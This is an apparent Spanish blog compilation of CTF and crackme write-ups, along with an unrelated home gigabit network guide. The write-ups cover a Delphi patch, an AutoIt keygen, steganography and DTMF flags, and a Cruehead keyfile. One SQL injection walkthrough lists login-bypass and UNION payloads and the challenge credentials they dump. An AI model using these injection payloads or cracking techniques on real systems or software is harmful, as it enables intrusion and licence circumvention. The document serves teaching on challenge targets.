Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Intro

This crackme is for the crack challenge 6 of canyouhack.it.

In this crackme the goal is to turn on all the lights. Note that a light off to the next, so if we interrupt this, we win.

Tools

Exeinfo (For crackme info)

Delphi Decompiler (For decompile)

 OllyDbg (For debug)

Decompiling

With Delphi Decompiler we can found easy the buttons and his offsets.
Go to the offset 401A64 in OllyDbg and analyze the code.
We view two jumps, one turn ON the light and the other Turn OFF the next light. Patching the call from offset 401A8B we get the serial.

Links


Intro Hoy tenemos un crackme realizado en Visual C++ 6. Es el típico serial asociado a un nombre. El algoritmo
Introducción Objetivo del juego y normas Código inicial Primeras modificaciones Terminando la faena Código ganador Curiosidades Enlaces Introducción Hace tiempo
Introducción Hoy vamos a enfrentarnos a cuatro retos de esteganografía relativamente sencillos, y digo relativamente, debido a que hay tantas
Intro Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Un error que habitualmente cometo cuando me enfrento a todo tipo de retos (especialmente en CTFs) es empezar a procesar el fichero proporcionado con todo tipo de herramientas como pollo sin cabeza. En el caso que nos ocupa se proporcionaba un fichero de audio WAV que procesé hasta con 4 herramientas diferentes antes de tomar aire y decidir simplemente escuchar el audio. Al escucharlo me di cuenta de que se trataba de una marcación por tonos comúnmente conocido como DTMF (Dual-Tone Multi-Frequency).

Decodificar DTMF

Con una rápida búsqueda por la web encontré una sencilla herramienta realizada en python llamada dtmf-decoder con la que enseguida obtenemos resultados. La herramienta es bastante sencilla, simplemente parte la señal en trozos, calcula la FFT (Fast Fourier Transform) para obtener las amplitudes y las compara con las de los tonos DTMF. Hay que tener en cuenta que el audio entregado es muy limpio y eso facilita mucho las cosas.

El siguiente comando nos devuelve los números marcados.

Como era de esperar, los números obtenidos no son la solución final aunque en este caso enseguida damos con que el tipo de codificación es simple y llanamente ASCII.

DTMF = 837283123119104521169510048951214811795119521101166363125
HEX  = 53 48 53 7B 77 68 34 74 5F 64 30 5F 79 30 75 5F 77 34 6E 74 3F 3F 7D
Solución: SHS{wh4t_d0_y0u_w4nt??}

Introducción

 Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro keygen. Como comprobareis si no se ofusca o se toman otro tipo de medidas recuperar información sensible es muy sencillo.

AutoIt es un lenguaje freeware multiproposito y de automatización para Microsoft Windows. Es un Visual Basic Killer, ya que mejora las características de los ejecutables (entre otras portabilidad, velocidad y peso, no fat-coding), y facilitan la programación con un buen repertorio de funciones «pre-diseñadas», y usando un Basic de fácil aprendizaje. Se ha expandido desde sus comienzos de automatización incluyendo muchas mejoras en el diseño del lenguaje de programación y sobre todo en nuevas funcionalidades.

El Script

Func CHECKKEY($USER, $PASS)
Local $OPKEY = "", $SIG = ""
Local $USER_LEN = StringLen($USER)
Local $PASS_LEN = StringLen($PASS)
If $USER_LEN < $PASS_LEN Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
ElseIf $USER_LEN < 4 Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
EndIf
$PASS_INT = Int($USER_LEN / $PASS_LEN)
$PASS_MOD = Mod($USER_LEN, $PASS_LEN)
$OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
For $INDEX = 1 To $USER_LEN
$SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
Next
If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
MsgBox(0, "INFO", "Your key was registered.")
Exit
Else
MsgBox(0, "INFO", "Your key is invalid.")
EndIf
EndFunc

 El Algoritmo

El algoritmo es tremendamente sencillo ya que es nuestro nombre al revés y en mayúsculas.

 Modificando el script para generar nuestro propio keygen

El decompilador se llama myAut2exe y tiene este aspecto.

01-09-2014 11-56-37

Programar en AutoIt es muy sencillo e intuitivo. Nuestro keygen quedaría así.

$MAIN = GUICreate("Another keygen by deurus", 300, 80, -1, -1, 382205952, 385)
$NAME_LBL = GUICtrlCreateLabel("Username", 5, 5, 60, 20, BitOR(4096, 1))
$NAME_INP = GUICtrlCreateInput("", 70, 5, 225, 20, 1)
$PASS_LBL = GUICtrlCreateLabel("Key", 5, 30, 60, 20, BitOR(4096, 1))
$PASS_INP = GUICtrlCreateInput("", 70, 30, 225, 20, 1)
$REGISTER = GUICtrlCreateButton("Register", 5, 55, 60, 20)
$GIVE_UP = GUICtrlCreateButton("Generate", 70, 55, 60, 20)    <- Change name of button, Give Up by Generate
$TASK = GUICtrlCreateButton("?", 140, 55, 20, 20)
$AUTHOR = GUICtrlCreateLabel("keygen by deurus", 165, 55, 130, 20, BitOR(4096, 1))
GUISetState(@SW_SHOW, $MAIN)
While True
    $MSG = GUIGetMsg()
    Switch $MSG
        Case $REGISTER
            Call("CHECKKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP))
        Case $GIVE_UP
            Call("GETKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP))    <- Add the function to the button
        Case $TASK
            MsgBox(0, "Info", "keygen by deurus")
        Case - 3
            Exit
    EndSwitch
    Sleep(15)
WEnd

Func GETKEY($USER, $PASS)        <- this is our keygen function
    Local $OPKEY = "", $SIG = ""
    Local $USER_LEN = StringLen($USER)
    Local $PASS_LEN = StringLen($USER)
    If $USER_LEN < 4 Then
        GUICtrlSetData($PASS_INP  ,"min 4 chars");
    Else
    For $INDEX = 1 To $USER_LEN
        $SIG = Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), 32)) & $SIG
    Next
        GUICtrlSetData($PASS_INP  ,$SIG);
    EndIf
EndFunc

Func CHECKKEY($USER, $PASS)        <- check function, the original
    Local $OPKEY = "", $SIG = ""
    Local $USER_LEN = StringLen($USER)
    Local $PASS_LEN = StringLen($PASS)
    If $USER_LEN < $PASS_LEN Then
        MsgBox(0, "ERROR", "Invalid username or key.")
    ElseIf $USER_LEN < 4 Then
        MsgBox(0, "ERROR", "Invalid username or key.")
        Exit
    EndIf
    $PASS_INT = Int($USER_LEN / $PASS_LEN)
    $PASS_MOD = Mod($USER_LEN, $PASS_LEN)
    $OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
    For $INDEX = 1 To $USER_LEN
        $SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
    Next
    If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
        MsgBox(0, "INFO", "Your key was registered.")
    Else
        MsgBox(0, "INFO", "Your key is invalid.")
    EndIf
EndFunc

Este es el resultado.

01-09-2014 12-18-28

Links


Intro Hoy nos enfrentamos a un crackme realizado en Delphi con un algoritmo bastante sencillo. Está empacado con UPX pero
AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. El reto en cuestión nos presenta
http://youtu.be/b9-GdmIQINQ Lista de reproducción
Si te interesa el mundo del hacking, ya sea como aficionado o como profesional, seguramente querrás estar al día de

En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.

Sin más dilación extraemos el JPG y continuamos.

La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.

Al abrir el archivo TXT como texto vemos lo siguiente:

y si lo abrimos con un editor hexadecimal vemos esto otro:

Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)» y procesé de nuevo obteniendo por fin la ansiada flag.

RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00

Cleaned bytes [quitando this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC


clave XOR == 00fc60fb

Resultado
S   H   S   {   t   0   0   _   3   4   s   y   _   m   4   n   }

Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.

Soluciones al crackme

Referencias al crackme

Links


Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
Intro Es un crackme realizado en ensamblador y en el que el objetivo es remover la NAG de la forma
Intro Hoy tenemos un crackme realizado en ensamblador y sin empacar. Consiste en el típico serial asociado a un nombre
Introducción Desempacado Eliminar la NAG Password Nº serie asociado a un nombre Checkbox Trackbar Links Introducción Aquí tenemos un Crackme

Introducción

Un día cualquiera se te ocurre comprarte un disco duro de red NAS para centralizar todo tu contenido multimedia. Lo conectas y todo va genial, pero de repente vas a copiar unos cuantos gigas de fotos y te encuentras con que la operación va a tardar días. En ese mismo instante te planteas sacar el máximo provecho a tu red doméstica y la solución se llama gigabit.

A quién va dirigido

Esta guía va dirigida a todo el mundo que esté pensando en hacer o mejorar la red LAN doméstica. Si eres un amante del WIFI, olvídate de esto, ya que para conseguir altas velocidades se necesita cablear la casa. Además, de lo que trata esta guía es de que se conecte un ordenador portátil o sobremesa de la forma más rápida posible al disco duro de red.

Comprobaciones previas

Probablemente dispongas de un Modem / Router proporcionado por tu compañia y que seguramente no sea gigabit (10/100/1000), esto es lo primero que debes comprobar. Busca tu modelo en internet y cerciorate.

También necesitas que la tarjeta de red del portátil o sobremesa sean gigabit, en este caso lo más probable es que lo sean pero asegúrate.

Lo que necesitamos

Tras hacer las comprobaciones previas ya podemos hacer una lista de los materiales que necesitamos.

  • Router gigabit (en caso del que tu compañia no lo sea).

Si el nuestro no es gigabit existen soluciones económicas como el TP-Link TL-WR1043ND que lo tenemos por 44€ en pccomponentes. Os recomiendo esta tienda por rapidez, seriedad y no abusan con los gastos de envío.

tp_link_tl_wr1043nd_ultimate_router_neutro_wifi_11n_usb_4

  • Switch gigabit (para ampliar puertos)

En caso de que los cuatro puertos que vienen con el router se nos queden cortos, la solución más economica y acertada es un Switch ethernet gigabit como el TP-LINK TL-SG1005D que lo tenemos por 16€. Este dispositivo es una maravilla ya que nos brinda 4 puertos más y no requiere configuración alguna.

tp_link_tl_sg1005d_switch_5_puertos_gigabit

  • Tarjeta de red gigabit (para pc sobremesa en caso de no ser o no disponer)

Son muy económicas, las puedes encontrar por 10€-15€ en cualquier tienda especializada. Ejemplo PCI. Ejemplo PCI-e. Video instalación de una tarjeta de red.

tarjeta-de-red-tp-link-tg-3269-gigabit-pci-internet-101000-1859-MLU4520989306_062013-F

  • Bobina de cable de red Categoría 6.

100m de cable UTP categoría 6 viene a costar sobre unos 42€.

bobina_100m_cable_red_rigido_utp_cat_6_10_100_1000

  • Cables Cat6 interconexionado router / switch / pc.

Para interconexionado de equipos recomiento estos de 50cm por 1,5€. Para conexión del pc tienes otras larguras más apropiadas. También podéis haceros vosotros los cables con lo sobrante de la bobina, para ello necesitaréis una crimpadora y terminales rj45.

digitus_cable_de_red_rj45_cat_6_10_100_1000_gris__50cm_

  • Tomas RJ45 categoría 6.

Esto depende de tu instalación y la gama que elijas. En mi caso utilizo tomas Niessen que solo el conector vale 16€, pero tienes tomas más económicas. De superficie por 2,75€ y empotrable por 8,25€.

roseta_de_superficie_cat6_conector_red_hembra_rj45 roseta_empotrable_cat5e_2_conectores_red_45__hembra_rj_45

  • Insertadora (punch down) para las tomas RJ45.

Indispensable para conectar internamente los cables de las tomas. La tenéis por 11€ en ebay. Video de la insertadora en acción.

PCS058007_large

  • Disco duro de red NAS

Esto es una recomendación personal ya que la elección puede variar en función de las necesidades de almacenamiento y conexiones. Una solución barata y con espacio suficiente para uso doméstico es el disco WD My Cloud 3TB que lo podeis adquirir por 159€.

wd_my_cloud_4tb

Presupuesto (Precios Octubre 2014)

  • Router = 44€
  • Switch = 16€
  • Tarjeta de red = 15€
  • Bobina de cable = 42€
  • Cables interconexionado 50cm x4 = 6€
  • Cable conexión pc / switch o router 1,8m = 2,95€
  • Tomas RJ45 x 2 = 16,5€
  • Disco duro de red NAS = 159€
  • TOTAL = 345,45€ + gastos de envío.

Esto puede variar en función de los componentes que elijas comprar pero el coste oscilará entre 250 y 350€, algo bastante asequible para centralizar contenido multimedia. Digo asequible por que la mitad del presupuesto se lo lleva el disco de red, los componentes son más bien baratos.

Ejemplo de instalación

Esquema inicial

En mi esquema disponemos del router proporcionado por el proveedor de internet que en mi caso sí es gigabit pero que solo lo utilizo para dar internet al router neutro.El router neutro junto con el switch me proporcionan 8 puertos gigabit. El router neutro además gestiona el wifi de la casa, pero en el mejor de los casos (Wifi n) estos dispositivos solo podrán mover datos a 300mbps. Utilizo como media center mis amadas Raspberry Pi que en este caso no se benefician de la velocidad ya que disponen de conexión 10/100.

esquema

Configurar router neutro

Lo primero a conectar es el router neutro y en este caso, TP-Link te lo pone fácil si no te defiendes muy bien con las redes, ya que proporciona un CD que se encarga de guiarte paso a paso. Lo más importante es la asignación de la IP privada, por defecto es 192.168.2.1 y a no ser que el router de la compañia tenga esa misma IP lo podéis dejar como está.

Disco duro de red NAS

Para configurar el disco de red normalmente viene un CD para ayudar al usuario novel. Lo único que tenéis que tener en cuenta es que la IP debe estar en consonancia con la del router neutro, si el router neutro es 192.168.2.1 al disco NAS podéis asignarle 192.168.2.150. Para más información aquí tenéis la guía de instalación.

Preguntas frecuentes. FAQ

  • ¿El cable normal o cruzado?

Podéis usar cable normal, también llamado conexión Pin a Pin ó 1:1, para toda la instalación ya que los dispositivos de hoy en día aceptan cualquier cable y resuelven internamente en función del cable conectado. Pero si nos ponemos quisquillosos, para conectar elementos pasivos entre sí (router a switch, etc) se utiliza cable normal 1:1. Para conectar elementos activos (PC a router/switch) cable cruzado.

  • ¿Qué norma de colores uso?

Mi consejo es que uses el standard EIA/TIA 568B tanto en la conexión de las cajas como en la creación de los cables.

image002

Cada roseta o toma en su interior tiene definido el orden que debes seguir para conectar los cables según el standard A o B, esto es una aproximación y puede no coincidir con tu toma.

con_roseta

  • Tengo todo instalado y es categoría 6 pero mi pc me marca que me conecta a 100mbps ¿qué pasa?

Si estás seguro de que las rosetas están bien conectadas, que has usado los cables correctos, que todos los dispositivos son gigabit y tu pc hace de las suyas, quizás debas de forzar a tu tarjeta de red a trabajar en modo gigabit ó 100 full duplex ó 100FD. Esto es debido a que el driver de la tarjeta de red por defecto viene con la opción de «autonegociación» activada y a veces necesita que le «obligues» a trabajar en gigabit.

En cada tarjeta de red puede venir diferente, yo os muestro mi caso desde windows 7:

Diríjete a Inicio > Panel de control > Ver el estado y las tareas de red > conexión de area local

En mi caso marca 1 Gbps pero si estais teniendo problemas os marcará 100 mbps. A continuación pulsa Propiedades.

31-10-2014 21-47-55

Pulsa Configurar.

31-10-2014 21-49-19

En la pestaña Opciones avanzadas busca la opción de la velocidad, en mi caso «Speed/duplex settings» y selecciona 100 mb Full Duplex. De este modo le forzais a la tarjeta de red a trabajar en modo gigabit. Si no lo consiguiera trabajará en el modo que pueda pero no os dejará sin conexión.

31-10-2014 21-50-31

Glosario

  1. NAS – del inglés Network Attached Storage, es el nombre dado a una tecnología de almacenamiento dedicada a compartir la capacidad de almacenamiento a través de una red. Estos discos vienen equipados como mínimo con una conexión RJ45 para integrarlo en una red de forma rápida y sencilla.
  2. Full Duplex – Que transmite y recibe en ambas direcciones al mismo tiempo por cables independientes.
  3. Switch – Un conmutador o switch es un dispositivo digital lógico de interconexión de equipos que opera en la capa de enlace de datos del modelo OSI. Su función es interconectar dos o más segmentos de red, de manera similar a los puentes de red, pasando datos de un segmento a otro de acuerdo con la dirección MAC de destino de las tramas en la red.
  4. Gigabit Ethernet – también conocida como GigaE, es una ampliación del estándar Ethernet (concretamente la versión 802.3ab y 802.3z del IEEE) que consigue una capacidad de transmisión de 1 gigabit por segundo, correspondientes a unos 1000 megabits por segundo de rendimiento contra unos 100 de Fast Ethernet (También llamado 100BASE-TX).

Notas finales

Soy consciente de que me he dejado muchas cosas en el tintero pero mi pretensión es que el lector de un vistazo rápido tenga una idea clara de lo que necesita para lograr una red decente en casa.

Introducción

Hace tiempo que me aficioné a los retos de Hacking y Cracking, y si bien la mayoría de ellos consisten en desencriptar una clave o realizar ingeniería inversa sobre un ejecutable, también los hay sobre programación pura y dura.

En esta ocasión se nos proporciona un código «muestra» parecido a PHP o C++ y tenemos que ingeniarnoslas para mejorarlo y ganar a la máquina.

Objetivo del juego y normas

El objetivo de esta misión es ganar a Tr0n en su propio juego: las carreras de motos. Se te proporcionará un programa (código) funcional para que veas como se controla el vehiculo. Usando tu inteligencia, tendrás que entender su uso y mejorarlo, ya que no es lo suficientemente bueno como para ganar a Tr0n. Tr0n lleva ya bastante tiempo en la parrilla de juegos y es bastante habilidoso 🙂

Cuando venzas a Tr0n un mínimo de 5 veces consecutivas, se te dará por superada esta prueba.

Buena suerte!!!

[ Available functions / Funciones disponibles ]
direction() returns current direction, change to a new one with direction([newdir])
getX(), getY() returns X and Y coordinates
collisionDistance() | collisionDistance([anydir]) returns the distance until collision
Note: parameters [*dir] can be empty or one of this values: UP DOWN LEFT or RIGHT

[ Constants / Constantes ]
UP DOWN LEFT RIGHT MAX_X MAX_Y

[ Rules / Reglas ]
Try to survive driving your bike and … / Intenta sobrevivir conduciendo tu moto y…
Don’t cross any line / No cruces ninguna línea
or crash with the corners! / o choques con las esquinas!

[ Mission / Mision ]
Use well this controller and beat Tr0n 5 consecutive times to score in this game
Usa bien este controlador y vence a Tr0n 5 veces consecutivas para puntuar en este juego

Código inicial

Nada más comenzar vemos que hemos perdido nuestra primera partida con el siguiente código:

	function controller(playerController $c){
		if($c->direction()==UP && $c->getY()<10){
			if(rand(0,1)==0) $c->direction(LEFT);
				else $c->direction(RIGHT);
			goto done;
		}
		if($c->direction()==DOWN && MAX_Y-$c->getY()<10){
			if(rand(0,1)==0) $c->direction(LEFT);
				else $c->direction(RIGHT);
			goto done;
		}
		if($c->direction()==LEFT && $c->getX()<10){
			if(rand(0,1)==0) $c->direction(UP);
				else $c->direction(DOWN);
			goto done;
		}
		if($c->direction()==RIGHT && MAX_X-$c->getX()<10){
			if(rand(0,1)==0) $c->direction(UP);
				else $c->direction(DOWN);
		}
		done:
	}

Nosotros somos el AZUL y la máquina es el VERDE.

loose_inicial

Primeras modificaciones

Lo primero que tenemos que modificar son las distancias de las coordenadas que estan puestas en «<10» al mínimo, que sería «<2«. También sustituir la aleatoriedad «rand(0,1)==0» por algo más útil y comenzar a usar la función «collisionDistance()«.

Como podéis observar en el código inferior, usamos la función «collisionDistance()» para detectar cuando estamos a punto de chocar «collisionDistance() ==1» y para detectar a que lado nos conviene más girar en función de donde podamos recorrer más distancia «if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT); else $c->direction(RIGHT);«.

if($c->direction()==UP && $c->getY()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
		}
if($c->direction()==DOWN && MAX_Y-$c->getY()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
		}
if($c->direction()==LEFT && $c->getX()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) 
                                $c->direction(UP);
				else 
                                $c->direction(DOWN);
		}
if($c->direction()==RIGHT && MAX_X-$c->getX()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) $c->direction(UP);
				else $c->direction(DOWN);
				
		}

Terminando la faena

El código anterior de por sí no nos resuelve mucho si no afinamos un poco más, comprobando todos las posibles colisiones y tomando la dirección correcta en función de la mayor distancia a recorrer.

    if($c->collisionDistance([UP])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([DOWN])==1 || $c->collisionDistance() ==1){
            if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([RIGHT])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
     if($c->collisionDistance([LEFT])==1 || $c->collisionDistance() ==1){
          if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }

Código ganador

El código que utilicé yo para ganar a Tron es el siguiente:

function controller(playerController $c){
uno:
if($c->direction()==UP && $c->getY()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
				
		}
if($c->direction()==DOWN && MAX_Y-$c->getY()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
				
		}
if($c->direction()==LEFT && $c->getX()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) 
                                $c->direction(UP);
				else 
                                $c->direction(DOWN);
				
		}
if($c->direction()==RIGHT && MAX_X-$c->getX()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) $c->direction(UP);
				else $c->direction(DOWN);
				
		}
dos:
    if($c->collisionDistance([UP])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([DOWN])==1 || $c->collisionDistance() ==1){
            if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([RIGHT])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
     if($c->collisionDistance([LEFT])==1 || $c->collisionDistance() ==1){
          if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
		done:
	}

Mis jugadas ganadoras:

01

02

03

04

05

El código no es infalible ya que como comprabaréis vosotros mismos, no se puede ganar siempre por el mero hecho de la aleatoriedad y de la suerte. Cuando dispongais de un código decente, ejecutarlo varias veces para estar seguros antes de desecharlo.

Curiosidades

Como se suele decir, la banca siempre gana, y en este caso no iba a ser menos y es que en caso de empate ¡la banca gana!

empate

 

Por último deciros que podéis utilizar el código ya que la web detecta los códigos ganadores para que no se repitan.

Enlaces

Introducción

Esta es la tercera y última entrega de los crackmes de Cruehead. En esta ocasión nos enfrentamos a un «keyfile«, un archivo llave para que nos entendamos. Tiene un poco más de dificultad que los anteriores pero es ideal para los que empiezan.

El algoritmo

Si iniciamos el crackme no pasa nada, lo único que vemos es la palabra «UNCRACKED» en el título. Abrimos el crackme con Olly y empezamos. En las «string references» vemos el nombre del archivo llave «crackme3.key«. Lo creamos y escribimos el serial 12345678 y empezamos a tracear.

El CMP EAX,-1 significa que está comprobando que el archivo no esté vacio, como no es nuestro caso continuamos.

07-09-2014 13-02-12

A continuación vemos que compara nuestra longitud de serial con 0x12 (18 en decimal). Nuestro serial tiene 8 dígitos así que nos tira fuera.

07-09-2014 13-07-59

Escribimos en el archivo llave el serial «deurus123456789012» y volvemos a tracear. Vemos que ahora si pasa los filtros iniciales y llegamos a la primera zona interesante. En la imágen está explicado pero os hago un resumen. En el bucle lo que hace es un XOR a los primeros 14 dígitos de nuestro serial con los valores del 41 al 4E (4F finaliza). El bucle solo se rompe si llegamos a 4F o si el resultado del XOR da 0. Además en EAX acumula la suma del resultado del XOR.

07-09-2014 17-13-57

Ejemplo:

d  e  u  r  u  s  1  2  3  4  5  6  7  8  9  0  1  2
64 65 75 72 75 73 31 32 33 34 35 36 37 38
                                          XOR
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E
-----------------------------------------
25 27 36 36 30 35 76 7A 7A 7E 7E 7A 7A 76 = 4ED (Suma)

A continuación hace XOR entre 12345678 y 4ED, coge los 4 últimos dígitos de nuestro serial y los compara.

07-09-2014 17-23-45

Ejemplo:

12345678 XOR 4ED = 12345295
Compara 12345295 con 32313039
32313039 = 2109, nuestros 4 últimos dígitos al revés. Recordemos que nuestro serial era "deurus123456789012"

 El serial bueno para el nombre deurus12345678 serían los bytes correspondientes de «12345295», es decir, nuestro serial bueno sería:

Ejemplo:

Necesitamos 12345295 para la comparación.
12 34 52 95 hexadecimal
18 52 82 149 decimal
Tenemos que escribirlo al revés. Con Alt-Izq + 149 escribimos el primer caracter, el resto igual.
Nuestro serial quedaría: deurus12345678òR4↕

